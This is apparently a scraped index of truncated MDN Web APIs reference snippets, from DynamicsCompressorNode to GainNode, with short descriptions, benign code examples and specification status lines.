... specifications specification status comment web audio apithe definition of 'dynamicscompressornode()' in that specification.
DynamicsCompressorNode.attack - Web APIs
the attack property's default value is 0.003 and it can be set between 0 and 1.
...mpression'; source.disconnect(audioctx.destination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'attack' in that specification.
DynamicsCompressorNode.knee - Web APIs
the knee property's default value is 30 and it can be set between 0 and 40.
...mpression'; source.disconnect(audioctx.destination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'knee' in that specification.
DynamicsCompressorNode.ratio - Web APIs
the ratio property's default value is 12 and it can be set between 1 and 20.
...mpression'; source.disconnect(audioctx.destination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'ratio' in that specification.
DynamicsCompressorNode.release - Web APIs
the release property's default value is 0.25 and it can be set between 0 and 1.
...mpression'; source.disconnect(audioctx.destination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'release' in that specification.
DynamicsCompressorNode.threshold - Web APIs
the threshold property's default value is -24 and it can be set between -100 and 0.
...mpression'; source.disconnect(audioctx.destination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'threshold' in that specification.
EXT_disjoint_timer_query.getQueryEXT() - Web APIs
if pname is ext.query_counter_bits_ext: a glint indicating the number of bits used to hold the query result for the given target.
... examples var ext = gl.getextension('ext_disjoint_timer_query'); var startquery = ext.createqueryext(); ext.querycounterext(startquery, ext.timestamp_ext); var currentquery = ext.getqueryext(ext.timestamp_ext, ext.current_query_ext); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EXT_disjoint_timer_query.getQueryObjectEXT() - Web APIs
if pname is ext.query_result_available_ext: a glboolean indicating whether or not a query result is available.
... var timeelapsed = ext.getqueryobjectext(query, ext.query_result_ext); } specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EXT_disjoint_timer_query.isQueryEXT() - Web APIs
return value a glboolean indicating whether the given object is a webglquery object (true) or not (false).
... ext.isqueryext(query); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EXT_sRGB - Web APIs
WebAPIEXT sRGB
constants this extension exposes the following constants, which can be used in the teximage2d(), texsubimage2d(), renderbufferstorage() and getframebufferattachmentparameter() methods.
... examples var ext = gl.getextension('ext_srgb'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, 0, ext.srgb_ext, 512, 512, 0, ext.srgb_ext, gl.unsigned_byte, image); specifications specification status comment ext_srgbthe definition of 'ext_srgb' in that specification.
EXT_shader_texture_lod - Web APIs
glsl built-in functions the following new functions can be used in glsl shader code, if this extension is enabled: vec4 texture2dlodext(sampler2d sampler, vec2 coord, float lod) vec4 texture2dprojlodext(sampler2d sampler, vec3 coord, float lod) vec4 texture2dprojlodext(sampler2d sampler, vec4 coord, float lod) vec4 texturecubelodext(samplercube sampler, vec3 coord, float lod) vec4 texture2dgradext(sampler2d sampler, vec2 p, vec2 dpdx, vec2 dpdy) vec...
...cts when wrapping texture coordinates: <script type="x-shader/x-fragment"> #extension gl_ext_shader_texture_lod : enable #extension gl_oes_standard_derivatives : enable uniform sampler2d mytexture; varying vec2 texcoord; void main(){ gl_fragcolor = texture2dgradext(mytexture, mod(texcoord, vec2(0.1, 0.5)), dfdx(texcoord), dfdy(texcoord)); } </script> specifications specification status comment ext_shader_texture_lodthe definition of 'ext_shader_texture_lod' in that specification.
EXT_texture_compression_rgtc - Web APIs
constants the compressed texture formats are exposed by 4 constants and can be used in two functions: compressedteximage2d() and compressedtexsubimage2d().
... examples var ext = gl.getextension('ext_texture_compression_rgtc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_red_rgtc1_ext, 128, 128, 0, texturedata); specifications specification status ext_texture_compression_rgtc community approved ...
EffectTiming.duration - Web APIs
this value must not be negative; otherwise, it can have any value (including positive infinity).
...ndom() * (max - min) + min; } // loop through each tear tears.foreach(function(el) { // animate each tear el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for each tear duration: getrandommsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: "cubic-bezier(0.6, 0.04, 0.98, 0.335)" }); }); specifications specification status comment web animationsthe definition of 'duration' in that specification.
EffectTiming.easing - Web APIs
the effecttiming dictionary's easing property in the web animations api specifies the timing function used to scale the time to produce easing effects, where easing is the rate of the animation's change over time.
...(-100%)' } ]; // get the element that represents alice and the red queen var redqueen_alice_sprite = document.getelementbyid('red-queen_and_alice_sprite'); // animate alice and the red queen using steps() var redqueen_alice = redqueen_alice_sprite.animate( spriteframes, { easing: 'steps(7, end)', direction: "reverse", duration: 600, playbackrate: 1, iterations: infinity }); specifications specification status comment web animationsthe definition of 'easing' in that specification.
Element: DOMActivate event - Web APIs
bubbles yes cancelable yes interface mouseevent examples <svg xmlns="http://www.w3.org/2000/svg" version="1.2" baseprofile="tiny" xmlns:ev="http://www.w3.org/2001/xml-events" width="6cm" height="5cm" viewbox="0 0 600 500"> <desc>example: invoke an ecmascript function from a domactivate event</desc> <!-- ecmascript to change the radius --> <script type="application/ecmascript"><![cdata[ function change(evt) { var circle = evt.target; var currentradius = circle.getfloattrait("r"); if (currentradius == 100) circle.setfloattrait("r", currentradius ...
...* 2); else circle.setfloattrait("r", currentradius * 0.5); } ]]></script> <!-- act on each domactivate event --> <circle cx="300" cy="225" r="100" fill="red"> <handler type="application/ecmascript" ev:event="domactivate"> change(evt); </handler> </circle> <text x="300" y="480" font-family="verdana" font-size="35" text-anchor="middle"> activate the circle to change its size </text> </svg> specifications specification status ui eventsthe definition of 'domactivate' in that specification.
Element: MSGestureTap event - Web APIs
typically, it's preferable to listen for the click event instead.
... bubbles unknown cancelable unknown interface msgestureevent event handler property unknown specifications not part of any specification.
Element: MSManipulationStateChanged event - Web APIs
bubbles unknown cancelable unknown interface msmanipulationevent event handler property unknown get manipulation states using the laststate and currentstate properties.
... examples // listen for panning state change events outerscroller.addeventlistener("msmanipulationstatechanged", function(e) { // check to see if they lifted while pulled to the top if (e.currentstate == ms_manipulation_state_inertia && outerscroller.scrolltop === 0) { refreshitemsasync(); } }); specifications not part of any specification.
Element: MozMousePixelScroll event - Web APIs
bubbles yes cancelable yes interface mousescrollevent getting the distance scrolled the event's detail property indicates the scroll distance in terms of lines, with negative values indicating the scrolling movement is either toward the bottom or toward the right, and positive values indicating scrolling to the top or left.
... if the platform's native mouse wheel events indicate the scroll distance in terms of lines or pages, the value of detail is computed using that value and the line height or page width/height of the nearest ancestor scrollable element that contains the target element.
Element.accessKey - Web APIs
WebAPIElementaccessKey
the element.accesskey property sets the keystroke which a user can press to jump to a given element.
... the element.accesskey property is seldom used because of its multiple conflicts with already present key bindings in browsers.
Element: afterscriptexecute event - Web APIs
this event was a proposal in an early version of the specification.
... bubbles yes cancelable no interface event event handler property none specifications not part of any specification.
Element: compositionstart event - Web APIs
bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionstart', (event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="ex...
...-log'); clearlog.addeventlistener('click', () => { log.textcontent = ''; }); function handleevent(event) { log.textcontent = log.textcontent + `${event.type}: ${event.data}\n`; } inputelement.addeventlistener('compositionstart', handleevent); inputelement.addeventlistener('compositionupdate', handleevent); inputelement.addeventlistener('compositionend', handleevent); result specifications specification status ui events working draft ...
Element: compositionupdate event - Web APIs
bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionupdate', (event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</la...
...-log'); clearlog.addeventlistener('click', () => { log.textcontent = ''; }); function handleevent(event) { log.textcontent = log.textcontent + `${event.type}: ${event.data}\n`; } inputelement.addeventlistener('compositionstart', handleevent); inputelement.addeventlistener('compositionupdate', handleevent); inputelement.addeventlistener('compositionend', handleevent); result specifications specification status ui events working draft ...
Element.insertAdjacentHTML() - Web APIs
example // <div id="one">one</div> var d1 = document.getelementbyid('one'); d1.insertadjacenthtml('afterend', '<div id="two">two</div>'); // at this point, the new structure is: // <div id="one">one</div><div id="two">two</div> notes security considerations when inserting html into a page by using insertadjacenthtml(), be careful not to use user input that hasn't been escaped.
... specification specification status comment dom parsing and serializationthe definition of 'element.insertadjacenthtml()' in that specification.
Element.insertAdjacentText() - Web APIs
you can enter some text into the form element, then press the insert before and insert after buttons to insert it before or after the existing paragraph text using insertadjacenttext().
... polyfill you can polyfill the insertadjacenttext() method in internet explorer 5.5 (maybe earlier) and higher with the following code: if (!element.prototype.insertadjacenttext) element.prototype.insertadjacenttext = function(type, txt){ this.insertadjacenthtml( type, (txt+'') // convert to string .replace(/&/g, '&amp;') // embed ampersand symbols .replace(/</g, '&lt;') // embed less-than symbols ) } specification specification status comment domthe definition of 'insertadjacenttext()' in that specification.
Element.name - Web APIs
WebAPIElementname
name can be used in the document.getelementsbyname() method, a form and with the form elements collection.
...pt type="text/javascript"> // get a reference to the first element in the form let formelement = document.forms['forma'].elements[0] // give it a name formelement.name = 'inputa' // show the value of the input alert(document.forms['forma'].elements['inputa'].value) </script> notes in internet explorer (ie), the name property of dom objects created using document.createelement() can't be set or modified.
Element.onfullscreenerror - Web APIs
since full-screen mode changes are only permitted in response to a user input, this causes an error to occur, which triggers the delivery of the fullscreenerror event to the error handler, let elem = document.queryselector("video")}} elem.onfullscreenerror = function ( event ) { displaywarning("unable to switch into full-screen mode."); }; //....
... elem.requestfullscreen(); specifications specification status comment fullscreen apithe definition of 'onfullscreenerror' in that specification.
Element: overflow event - Web APIs
bubbles yes cancelable yes interface uievent event handler property unknown examples <div id="wrapper"> <div id="child"></div> </div> <br/> <label><input type="checkbox" id="toggle" checked/> overflow</label> <style> #wrapper { width: 20px; height: 20px; background: #000; padding: 5px; overflow: hidden; } #child { width: 40px; height: 40px; border: 2px solid grey; background: #ccc; } </style> <script> var wrapper = document.getelementbyi...
...apper.addeventlistener("underflow", function( event ) { console.log( event ); }, false); toggle.addeventlistener("change", function( event ) { if ( event.target.checked ) { child.style.width = "40px"; child.style.height = "40px"; } else { child.style.width = "10px"; child.style.height = "10px"; } }, false); </script> specifications not part of any specification.
Element.part - Web APIs
WebAPIElementpart
these can be used to style parts of a shadow dom, via the ::part pseudo-element.
... let tabs = []; let children = this.shadowroot.children; for(let elem of children) { if(elem.getattribute('part')) { tabs.push(elem); } } tabs.foreach((tab) => { tab.addeventlistener('click', (e) => { tabs.foreach((tab) => { tab.part = 'tab'; }) e.target.part = 'tab active'; }) console.log(tab.part); }) specifications specification status comment shadow partsthe definition of 'element.part' in that specification.
Element.requestPointerLock() - Web APIs
syntax instanceofelement.requestpointerlock(); specifications specification status comment pointer lockthe definition of 'requestpointerlock()' in that specification.
... candidate recommendation ...
Element.runtimeStyle - Web APIs
summary element.runtimestyle is a proprietary property similar to htmlelement.style, except its styles, that have higher precedence and modification.
... specification not a part of any specification.
Element.scrollBy() - Web APIs
WebAPIElementscrollBy
y-coord is the vertical pixel value that you want to scroll by.
... examples // scroll an element element.scrollby(300, 300); using options: element.scrollby({ top: 100, left: 100, behavior: 'smooth' }); specification specification status comment css object model (cssom) view modulethe definition of 'element.scrollby()' in that specification.
Element.scrollTo() - Web APIs
WebAPIElementscrollTo
y-coord is the pixel along the vertical axis of the element that you want displayed in the upper left.
... examples element.scrollto(0, 1000); using options: element.scrollto({ top: 100, left: 100, behavior: 'smooth' }); specifications specification status comment css object model (cssom) view modulethe definition of 'element.scrollto()' in that specification.
Element.setAttributeNodeNS() - Web APIs
note that if you try to set without cloning the node, mozilla gives an ns_error_dom_inuse_attribute_err "attribute already in use" error, as the dom requires cloning for attr to be reused (unlike other nodes which can be moved).
...ling with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'document.setattributenodens' in that specification.
Element.toggleAttribute() - Web APIs
the attribute name is automatically converted to all lower-case when toggleattribute() is called on an html element in an html document.
...enode - polyfill if (!element.prototype.toggleattribute) { element.prototype.toggleattribute = function(name, force) { if(force !== void 0) force = !!force if (this.hasattribute(name)) { if (force) return true; this.removeattribute(name); return false; } if (force === false) return false; this.setattribute(name, ""); return true; }; } specification specification status comment domthe definition of 'element.toggleattribute' in that specification.
Element: touchend event - Web APIs
bubbles yes cancelable yes interface touchevent event handler property ontouchend examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Element: touchmove event - Web APIs
bubbles yes cancelable yes interface touchevent event handler property ontouchmove examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Element: touchstart event - Web APIs
bubbles yes cancelable yes interface touchevent event handler property ontouchstart examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Element: underflow event - Web APIs
bubbles yes cancelable yes interface uievent event handler property unknown examples <div id="wrapper"> <div id="child"></div> </div> <br/> <label><input type="checkbox" id="toggle" checked/> overflow</label> <style> #wrapper { width: 20px; height: 20px; background: #000; padding: 5px; overflow: hidden; } #child { width: 40px; height: 40px; border: 2px solid grey; background: #ccc; } </style> <script> var wrapper = documen...
...apper.addeventlistener("underflow", function( event ) { console.log( event ); }, false); toggle.addeventlistener("change", function( event ) { if ( event.target.checked ) { child.style.width = "40px"; child.style.height = "40px"; } else { child.style.width = "10px"; child.style.height = "10px"; } }, false); </script> specifications not part of any specification.
Element: webkitmouseforcechanged event - Web APIs
bubbles unknown cancelable unknown interface mouseevent webkitmouseforcechanged is a proprietary, webkit-specific event introduced by apple to support their force touch events feature.
... specifications not part of any specification.
Element: webkitmouseforcedown event - Web APIs
bubbles unknown cancelable unknown interface mouseevent webkitmouseforcedown is a proprietary, webkit-specific event.
... specifications not part of any specification.
Element: webkitmouseforceup event - Web APIs
bubbles unknown cancelable unknown interface mouseevent webkitmouseforceup is a proprietary, webkit-specific event.
... specifications not part of any specification.
ElementTraversal - Web APIs
specifications specification status comment domthe definition of 'childnode' in that specification.
... living standard splitted the elementtraversal interface in parentnode and childnode element traversal specificationthe definition of 'elementtraversal' in that specification.
Encrypted Media Extensions API - Web APIs
mediakeys represents a set of keys that an associated htmlmediaelement can use for decryption of media data during playback.
... specifications specification status comment encrypted media extensions recommendation initial definition ...
Event.composedPath() - Web APIs
<open-shadow> element's composed path is this: array [ p, shadowroot, open-shadow, body, html, htmldocument https://mdn.github.io/web-components-examples/composed-composed-path/, window ] whereas the <closed-shadow> element's composed path is a follows: array [ closed-shadow, body, html, htmldocument https://mdn.github.io/web-components-examples/composed-composed-path/, window ] in the second case, the event listeners only propagate as far as the <closed-shadow> element itself, but not to the nodes inside the shadow boundary.
... specifications specification status comment domthe definition of 'composedpath()' in that specification.
Event.isTrusted - Web APIs
WebAPIEventisTrusted
syntax var eventistrusted = event.istrusted; value boolean example if (e.istrusted) { /* the event is trusted */ } else { /* the event is not trusted */ } specification specification status comment domthe definition of 'event.istrusted' in that specification.
... living standard document object model (dom) level 3 events specificationthe definition of 'trusted events' in that specification.
Event.originalTarget - Web APIs
note: originaltarget may also be native anonymous content (see bug 208427), in which case it's useless for non-privileged code.
... see also comparison of event targets example need an example that makes sense here specification this is a mozilla-specific property.
Event.srcElement - Web APIs
WebAPIEventsrcElement
initially implemented in internet explorer, event.srcelement is a now-standard alias (defined in the dom standard but flagged as "historical") for the event.target property.
... specifications specification status comment domthe definition of 'event.srcelement' in that specification.
Event.type - Web APIs
WebAPIEventtype
se); // first document.addeventlistener('keypress', geteventtype, false); // second document.addeventlistener('keyup', geteventtype, false); // third // mouse events document.addeventlistener('mousedown', geteventtype, false); // first document.addeventlistener('mouseup', geteventtype, false); // second document.addeventlistener('click', geteventtype, false); // third result specifications specification status comment domthe definition of 'event.type' in that specification.
... living standard document object model (dom) level 2 events specificationthe definition of 'event.type' in that specification.
EventSource.close() - Web APIs
WebAPIEventSourceclose
examples var button = document.queryselector('button'); var evtsource = new eventsource('sse.php'); button.onclick = function() { console.log('connection closed'); evtsource.close(); } note: you can find a full example on github — see simple sse demo using php.
... specifications specification status comment html living standardthe definition of 'close()' in that specification.
EventSource: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property eventsource.onmessage examples in this basic example, an eventsource is created to receive events from the server; a page with the name sse.php is responsible for generating the events.
...tor('ul'); evtsource.addeventlistener('message', (e) => { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); }); onmessage equivalent evtsource.onmessage = (e) => { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); }; specifications specification status html living standardthe definition of 'message event' in that specification.
EventSource.readyState - Web APIs
possible values are: 0 — connecting 1 — open 2 — closed examples var evtsource = new eventsource('sse.php'); console.log(evtsource.readystate); note: you can find a full example on github — see simple sse demo using php.
... specifications specification status comment html living standardthe definition of 'readystate' in that specification.
EventSource.url - Web APIs
WebAPIEventSourceurl
examples var evtsource = new eventsource('sse.php'); console.log(evtsource.url); note: you can find a full example on github — see simple sse demo using php.
... specifications specification status comment html living standardthe definition of 'url' in that specification.
ExtendableMessageEvent() - Web APIs
init optional an initialisation object, which should contain the following parameters: data: the event's data — this can be any data type.
... examples var init = { data : 'hello message', source : messageportreference, ports : messageportlistreference } var myeme = new extendablemessageevent('message', init); specifications specification status comment service workersthe definition of 'extendablemessageevent()' in that specification.
ExtendableMessageEvent.data - Web APIs
it can be any data type.
... var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.data); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.data' in that specification.
FeaturePolicy.allowedFeatures() - Web APIs
return value an array of strings representing the feature policy directive names that are allowed by the feature policy this method is called on.
... // first, get the feature policy object const featurepolicy = document.featurepolicy // then query feature for specific const allowed = featurepolicy.allowedfeatures() for (const directive of allowed){ console.log(directive) } specifications specification status comment feature policythe definition of 'allowsfeature' in that specification.
FeaturePolicy.features() - Web APIs
feature whose name appears on the list might not be allowed by the feature policy of the current execution context and/or might not be accessible because of user's permissions.
... // get the feature policy object const featurepolicy = document.featurepolicy // retreive the list of all supported feature policy directives const supporteddirectives = featurepolicy.features() // print out each directive into the console for (const directive of supporteddirectives){ console.log(directive) } specification specification status comment feature policythe definition of 'features' in that specification.
FederatedCredential - Web APIs
a federated identity provider is an entity that a website trusts to correctly authenticate a user, and that provides an api for that purpose.
...}); specifications specification status comment credential management level 1 working draft initial definition.
FetchEvent() - Web APIs
typically, pressing the refresh button in a browser is a reload, while clicking a link and pressing the back button is not.
... specifications specification status comment service workersthe definition of 'fetchevent() constructor' in that specification.
FetchEvent.navigationPreload - Web APIs
addeventlistener('fetch', event => { event.respondwith(async function() { // respond from the cache if we can const cachedresponse = await caches.match(event.request); if (cachedresponse) return cachedresponse; // else, use the preloaded response, if it's there const response = await event.preloadresponse; if (response) return response; // else try the network.
... return fetch(event.request); }()); }); specifications specification status comment service workersthe definition of 'navigationpreload' in that specification.
File.fileName - Web APIs
WebAPIFilefileName
this property is deprecated.
... syntax var name = instanceoffile.filename; value a string specification not part of any specification.
File.fileSize - Web APIs
WebAPIFilefileSize
this property is deprecated.
... specification not part of any specification.
File.getAsBinary() - Web APIs
WebAPIFilegetAsBinary
example // fileinput is an htmlinputelement: <input type="file" id="myfileinput" multiple> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (similar to nodelist) var files = fileinput.files; // object for allowed media types var accept = { binary : ["image/png", "image/jpeg"], text : ["text/plain", "text/css", "application/xml", "text/html"] }; var file; for (var i = 0; i < files.length; i++) { file = files[i]; // if file type could be detected if (file !== null) { if (accept.binary.indexof(file.type) > -1) { // file is a binary, which we accept var data = file.getasbinary(); } else if (accept.text.indexof(file.type) > -1) { // file is of type text, which we accept var d...
...ata = file.getastext(); // modify data with string methods } } } specification not part of any specification.
File.type - Web APIs
WebAPIFiletype
syntax var name = file.type; value a string, containing the media type(mime) indicating the type of the file, for example "image/png" for png images example <input type="file" multiple onchange="showtype(this)"> function showtype(fileinput) { var files = fileinput.files; for (var i = 0; i < files.length; i++) { var name = files[i].name; var type = files[i].type; alert("filename: " + name + " , type: " + type); } } note: based on the current implementation, browsers won't actually read the bytestream of a file to determine its media type.
... specifications specification status comment file apithe definition of 'type' in that specification.
FileReader() - Web APIs
for details about how to use filereader, see using files from web applications.
... example the following code snippet shows creation of a filereader object using the filereader() constructor and subsequent usage of the object: function printfile(file) { var reader = new filereader(); reader.onload = function(evt) { console.log(evt.target.result); }; reader.readastext(file); } specifications specification status comment file api working draft initial definition ...
FileReader.abort() - Web APIs
WebAPIFileReaderabort
syntax instanceoffilereader.abort(); exceptions dom_file_abort_err thrown when abort is called while no read operation is in progress (that is, the state isn't loading).
... specifications specification status comment file apithe definition of 'abort()' in that specification.
FileReader.error - Web APIs
WebAPIFileReadererror
in chrome 48+/firefox 58+ this property returns a domexception because domerror has been removed from the dom standard.
... specifications specification status comment file apithe definition of 'filereader: error' in that specification.
FileReader: error event - Web APIs
the error event is fired when the read failed due to an error (for example, because the file was not found or not readable).
... bubbles no cancelable no interface progressevent event handler property filereader.onerror examples const fileinput = document.queryselector('input[type="file"]'); const reader = new filereader(); function handleselected(e) { const selectedfile = fileinput.files[0]; if (selectedfile) { reader.addeventlistener('error', () => { console.error(`error occurred reading file: ${selectedfile.name}`); }); reader.addeventlistener('load', () => { console.error(`file: ${selectedfile.name} read successfully`); }); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); specifications specification status ...
FileReader: load event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onload examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; bo...
...leevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: loadend event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onloadend examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; ...
...leevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: loadstart event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onloadstart examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5r...
...leevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader.readAsBinaryString() - Web APIs
note that this method was once removed from the file api specification, but re-introduced for backward compatibility.
... example var canvas = document.createelement('canvas'); var height = 200; var width = 200; canvas.width = width; canvas.height = height; var ctx = canvas.getcontext('2d'); ctx.strokestyle = '#090'; ctx.beginpath(); ctx.arc(width/2, height/2, width/2 - width/10, 0, math.pi*2); ctx.stroke(); canvas.toblob(function (blob) { var reader = new filereader(); reader.onload = function () { console.log(reader.result); } reader.readasbinarystring(blob); }); specifications specification status comment file apithe definition of 'readasbinarystring' in that specification.
FileReader.result - Web APIs
WebAPIFileReaderresult
it works by creating a filereader object and creating a listener for load events such that when then file is read, the result is obtained and passed to the callback function provided to read().
... var fileinput = document.queryselector('input[type="file"]'); function read(callback) { var file = fileinput.files.item(0); var reader = new filereader(); reader.onload = function() { callback(reader.result); } reader.readastext(file); } specifications specification status comment file apithe definition of 'result' in that specification.
FileRequest - Web APIs
filerequest.onprogress a callback handler called repeatedly while the operation represented by the filerequest is in progress.
... specifications specification status comment filesystem api editor's draft draft proposal.
FileSystem.root - Web APIs
WebAPIFileSystemroot
example // tbd specifications specification status comment file and directory entries apithe definition of 'root' in that specification.
... draft initial specification.
FontFace.FontFace() - Web APIs
WebAPIFontFaceFontFace
this can be either: a url binary font data descriptors optional a set of optional descriptors passed as an object.
... it can have the following keys: family: family style: style weight: weight stretch: stretch unicoderange: unicode range variant: variant featuresettings: feature settings example async function loadfonts() { const font = new fontface('myfont', 'url(myfont.woff)'); // wait for font to be loaded await font.load(); // add font to document document.fonts.add(font); // enable font with css class document.body.classlist.add('fonts-loaded'); } specifications specification status comment css font loading module level 3the definition of 'fontface constructor' in that specification.
FontFace.display - Web APIs
WebAPIFontFacedisplay
specifications specification status comment css font loading module level 3the definition of 'display' in that specification.
... css fonts module level 4the definition of 'font-display' in that specification.
FontFace.status - Web APIs
WebAPIFontFacestatus
the status read-only property of the fontface interface returns an enumerated value indicating the status of the font, one of "unloaded", "loading", "loaded", or "error".
... specifications specification status comment css font loading module level 3the definition of 'status' in that specification.
FontFace.variant - Web APIs
WebAPIFontFacevariant
the variant property of the fontface interface programatically retrieves or sets font variant values.
... specifications specification status comment css font loading module level 3the definition of 'variant' in that specification.
FontFaceSet.check() - Web APIs
WebAPIFontFaceSetcheck
syntax bool = afontfaceset.check(font); bool = afontfaceset.check(font, text); returns a boolean that is true if the font list is available parameters font: a font specification using the css value syntax, e.g.
... specifications specification status comment css font loading module level 3the definition of 'check' in that specification.
Force Touch events - Web APIs
its main use is that it can be event.preventdefault()ed.
...g property is known to be available on the webkitmouseforcewillbegin, mousedown, webkitmouseforcechanged, webkitmouseforcedown, webkitmouseforceup, mousemove, and mouseup event objects: mouseevent.webkitforce read only the amount of pressure currently being applied to the trackpad/touchscreen constants these constants are useful for determining the relative intensity of the pressure indicated by mouseevent.webkitforce: mouseevent.webkit_force_at_mouse_down read only minimum force necessary for a normal click mouseevent.webkit_force_at_force_mouse_down read only minimum force necessary for a force click specifications not part of any specification.
FormData() - Web APIs
WebAPIFormDataFormData
example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you could add a key/value pair to this using formdata.append: formdata.append('username', 'chris'); or you can specify the optional form argument when creating the formdata object, to prepopulate it with values from the specified form: <form id="myform" name="myform"> <div> <label for="username">enter name:</label> <input type="text" id="username" name="username"> </div> <div> <label for="useracc">enter account number:</label> <input type="text" id="useracc" name="useracc"> </div...
... let myform = document.getelementbyid('myform'); let formdata = new formdata(myform); specifications specification status comment xmlhttprequestthe definition of 'formdata()' in that specification.
FormDataEvent - Web APIs
this happens when the form is submitted, but can also be triggered by the invocation of a formdata() constructor.
...); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); specifications specification status comment html living standardthe definition of 'formdataevent' in that specification.
GainNode() - Web APIs
WebAPIGainNodeGainNode
note: you should typically call audiocontext.creategain() to create a gain node.
... specifications specification status comment web audio apithe definition of 'gainnode()' in that specification.
GainNode.gain - Web APIs
WebAPIGainNodegain
